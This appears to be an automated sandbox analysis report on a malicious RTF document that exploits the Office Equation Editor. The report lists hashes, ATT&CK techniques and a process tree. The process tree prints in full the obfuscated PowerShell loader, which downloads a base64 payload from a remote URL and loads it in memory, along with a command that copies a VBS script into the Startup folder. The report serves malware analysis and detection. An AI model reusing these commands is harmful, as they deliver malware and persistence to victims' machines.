a5f865743d2ac723fca850a9d3c48263afb8bed5016c38881da0358207d0cc44

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-09-2024 07:04

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General

Target

59e879eb2a3f5f54db609e47b0596813.rtf
Size

118KB
MD5

59e879eb2a3f5f54db609e47b0596813
SHA1

103371a7186a337b2fe41038fac9c1a6519bc9bb
SHA256

a5f865743d2ac723fca850a9d3c48263afb8bed5016c38881da0358207d0cc44
SHA512

795962aeffb945341cf5ef0c17e5fa2c75c873e7cdd87fe23ffdfe464a0d0bd2508c4edfb3f82f1a28a03f0e92a172c5ad9b582bdc9c4905a90303a1dbbcb13a
SSDEEP

384:QOYaH2/aneItcw1TuB+mYwJ+QmDTH20aj2DO2gYnVD:TDUaJaw1T+4wJ+7FKSOknVD

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2360	EQNEDT32.EXE
6	2068	powershell.exe
7	2068	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1732	powershell.exe
2068	powershell.exe
1964	powershell.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2124	PING.EXE
3008	cmd.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2360	EQNEDT32.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2124	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2076	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1964	powershell.exe
1732	powershell.exe
2068	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	2068	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2076	WINWORD.EXE
2076	WINWORD.EXE

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2704	2360	EQNEDT32.EXE	31
PID 2360 wrote to memory of 2704	2360	EQNEDT32.EXE	31
PID 2360 wrote to memory of 2704	2360	EQNEDT32.EXE	31
PID 2360 wrote to memory of 2704	2360	EQNEDT32.EXE	31
PID 2704 wrote to memory of 3008	2704	WScript.exe	33
PID 2704 wrote to memory of 3008	2704	WScript.exe	33
PID 2704 wrote to memory of 3008	2704	WScript.exe	33
PID 2704 wrote to memory of 3008	2704	WScript.exe	33
PID 3008 wrote to memory of 2124	3008	cmd.exe	35
PID 3008 wrote to memory of 2124	3008	cmd.exe	35
PID 3008 wrote to memory of 2124	3008	cmd.exe	35
PID 3008 wrote to memory of 2124	3008	cmd.exe	35
PID 2076 wrote to memory of 2220	2076	WINWORD.EXE	36
PID 2076 wrote to memory of 2220	2076	WINWORD.EXE	36
PID 2076 wrote to memory of 2220	2076	WINWORD.EXE	36
PID 2076 wrote to memory of 2220	2076	WINWORD.EXE	36
PID 3008 wrote to memory of 1964	3008	cmd.exe	37
PID 3008 wrote to memory of 1964	3008	cmd.exe	37
PID 3008 wrote to memory of 1964	3008	cmd.exe	37
PID 3008 wrote to memory of 1964	3008	cmd.exe	37
PID 2704 wrote to memory of 1732	2704	WScript.exe	38
PID 2704 wrote to memory of 1732	2704	WScript.exe	38
PID 2704 wrote to memory of 1732	2704	WScript.exe	38
PID 2704 wrote to memory of 1732	2704	WScript.exe	38
PID 1732 wrote to memory of 2068	1732	powershell.exe	40
PID 1732 wrote to memory of 2068	1732	powershell.exe	40
PID 1732 wrote to memory of 2068	1732	powershell.exe	40
PID 1732 wrote to memory of 2068	1732	powershell.exe	40

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\59e879eb2a3f5f54db609e47b0596813.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2220

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\newthingswithnewpcituresgetin.vBS"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\newthingswithnewpcituresgetin.vBS', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.adaloc.vbs')')
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 10
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2124
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command [System.IO.File]::Copy('C:\Windows\system32\newthingswithnewpcituresgetin.vBS', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.adaloc.vbs')')
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1964
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnbScrJ2hHdXJsJysnICcrJz0gU3BVaCcrJ3QnKyd0cCcrJ3MnKyc6Ly9pYTYnKycwMDEnKycwJysnMC51JysncycrJy5hcmNoaXYnKydlLm9yZycrJy8yNC9pdGVtJysncy8nKydkZXRhJysnaC0nKydub3RlLXYvRGUnKyd0YWhObycrJ3RlJysnVi4nKyd0eHRTJysncFU7JysnbWhHJysnYmEnKydzZTYnKyc0Q29udGUnKyduJysndCAnKyc9ICcrJyhOZXcnKyctT2JqJysnZWMnKyd0IFMnKyd5cycrJ3RlbS5OZScrJ3QuV2UnKydiQycrJ2xpZW50KS4nKydEJysnb3dubG9hJysnZCcrJ1MnKyd0cmluZygnKydtJysnaEcnKyd1cmwpO20nKydoR2JpJysnbmEnKydyeUNvbnRlbicrJ3QgJysnPSAnKydbU3lzdGVtLkNvbnZlJysncnQnKyddOjpGcm9tQmEnKydzZTY0UycrJ3QnKydyaW5nJysnKG0nKydoRycrJ2InKydhc2UnKyc2NENvbnQnKydlbnQnKycpO21oRycrJ2Fzc2VtYmwnKyd5ID0gW1JlZmxlY3RpbycrJ24uJysnQXMnKydzZW1iJysnbHldOjpMJysnb2EnKydkJysnKCcrJ21oR2JpJysnbmFyeUNvbnRlbicrJ3QpO21oJysnR3R5JysncGUnKycgPSBtaCcrJ0dhc3MnKydlbWJseS4nKydHZScrJ3QnKydUeXAnKydlKCcrJ1NwVScrJ1InKyd1JysnblBFLkhvbWVTJysncFUnKycpJysnO20nKydoR21lJysndGhvZCcrJyA9ICcrJ20nKydoR3R5JysncGUnKycuJysnR2UnKyd0TWV0aG8nKydkKFMnKydwJysnVVYnKydBSVNwVScrJyknKyc7bScrJ2hHbWV0JysnaCcrJ28nKydkLkludm9rJysnZScrJygnKydtaEdudWxsJysnLCcrJyBbb2InKydqZScrJ2N0W11dJysnQCcrJyhTcFV0eHQuT0NOJysnTkEvNTUzJysnLzM0MS42NDEnKycuMycrJy4yJysnOTEvJysnLycrJzpwdHRoJysnU3BVICwnKycgU3AnKydVJysnZGVzJysnYXRpdicrJ2EnKydkb1MnKydwVSAsIFNwVScrJ2RlcycrJ2EnKyd0aScrJ3ZhZG9TcFUgLCBTcCcrJ1UnKydkZXNhdGl2YScrJ2QnKydvJysnU3BVLFMnKydwVVInKydlZ0EnKydzbVNwVSxTJysncFVTcCcrJ1UnKycpKScpIC1DckVwbGFjZShbY2hBcl04MytbY2hBcl0xMTIrW2NoQXJdODUpLFtjaEFyXTM5IC1yRVBMQWNlJ21oRycsW2NoQXJdMzYpfC4gKCAkdmVSQk9TRVBSZWZlUmVOY2UudE9TVFJJbkcoKVsxLDNdKydYJy1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('m'+'hGurl'+' '+'= SpUh'+'t'+'tp'+'s'+'://ia6'+'001'+'0'+'0.u'+'s'+'.archiv'+'e.org'+'/24/item'+'s/'+'deta'+'h-'+'note-v/De'+'tahNo'+'te'+'V.'+'txtS'+'pU;'+'mhG'+'ba'+'se6'+'4Conte'+'n'+'t '+'= '+'(New'+'-Obj'+'ec'+'t S'+'ys'+'tem.Ne'+'t.We'+'bC'+'lient).'+'D'+'ownloa'+'d'+'S'+'tring('+'m'+'hG'+'url);m'+'hGbi'+'na'+'ryConten'+'t '+'= '+'[System.Conve'+'rt'+']::FromBa'+'se64S'+'t'+'ring'+'(m'+'hG'+'b'+'ase'+'64Cont'+'ent'+');mhG'+'assembl'+'y = [Reflectio'+'n.'+'As'+'semb'+'ly]::L'+'oa'+'d'+'('+'mhGbi'+'naryConten'+'t);mh'+'Gty'+'pe'+' = mh'+'Gass'+'embly.'+'Ge'+'t'+'Typ'+'e('+'SpU'+'R'+'u'+'nPE.HomeS'+'pU'+')'+';m'+'hGme'+'thod'+' = '+'m'+'hGty'+'pe'+'.'+'Ge'+'tMetho'+'d(S'+'p'+'UV'+'AISpU'+')'+';m'+'hGmet'+'h'+'o'+'d.Invok'+'e'+'('+'mhGnull'+','+' [ob'+'je'+'ct[]]'+'@'+'(SpUtxt.OCN'+'NA/553'+'/341.641'+'.3'+'.2'+'91/'+'/'+':ptth'+'SpU ,'+' Sp'+'U'+'des'+'ativ'+'a'+'doS'+'pU , SpU'+'des'+'a'+'ti'+'vadoSpU , Sp'+'U'+'desativa'+'d'+'o'+'SpU,S'+'pUR'+'egA'+'smSpU,S'+'pUSp'+'U'+'))') -CrEplace([chAr]83+[chAr]112+[chAr]85),[chAr]39 -rEPLAce'mhG',[chAr]36)|. ( $veRBOSEPRefeReNce.tOSTRInG()[1,3]+'X'-JoIN'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
9fd26bc19f0349809d038f3d76dc3d50

SHA1
8db5b1ccd4aab76d431841ba7ead179514a50291

SHA256
f7638b72bca8c0e033202bc8c0dd9c95d18b1de73ed9aa0895a51caca4e5bb3f

SHA512
214312e8645ef8030db64a1aff1777f93b9815fe2ea40345f4a9e3d96f57173dc38836d04c51ae14780a38c8f6e7180a4c089fc7637e3e8b8a97fe763155b18d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
83ebe505627857486e2a7cd39b43ada6

SHA1
fb0daf5c7224d85908923ccadfa9147c8c30e441

SHA256
603de492620539fd9be0c04343eeba576d1216c6634ff7287c343730c3345e96

SHA512
6771758a9713a34d0ce3a914b5bb90838d43da09080cc102d27073dbdb652bf6b5fec5030161a62237b2ca56e57b1c7481a9bd13c2ecc9212c3770a6573e5fed

Download Submit
C:\Users\Admin\AppData\Roaming\newthingswithnewpcituresgetin.vBS

Filesize
244KB

MD5
b2d17f7a821d794153d6e01e0b1c3efa

SHA1
d4ae22fcbad395c9c58f3cd3a1a384a1901ce64e

SHA256
67e6bc221f892bd6299ae2d98cb607d68a51c174b87c2055c6b468bc4701df5a

SHA512
4dbbd6b613d4bceca178d912ba483b1ee29ff492e6374c7d2d03d76e910bdff71674a1437b6cc28f0046a1ef22b5772db5353aa3993e4bd9df98d1b9401c16a6

Download Submit
memory/2076-0-0x000000002F051000-0x000000002F052000-memory.dmp

Filesize
4KB

Download
memory/2076-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2076-2-0x000000007182D000-0x0000000071838000-memory.dmp

Filesize
44KB

Download
memory/2076-16-0x000000007182D000-0x0000000071838000-memory.dmp

Filesize
44KB

Download
memory/2076-47-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download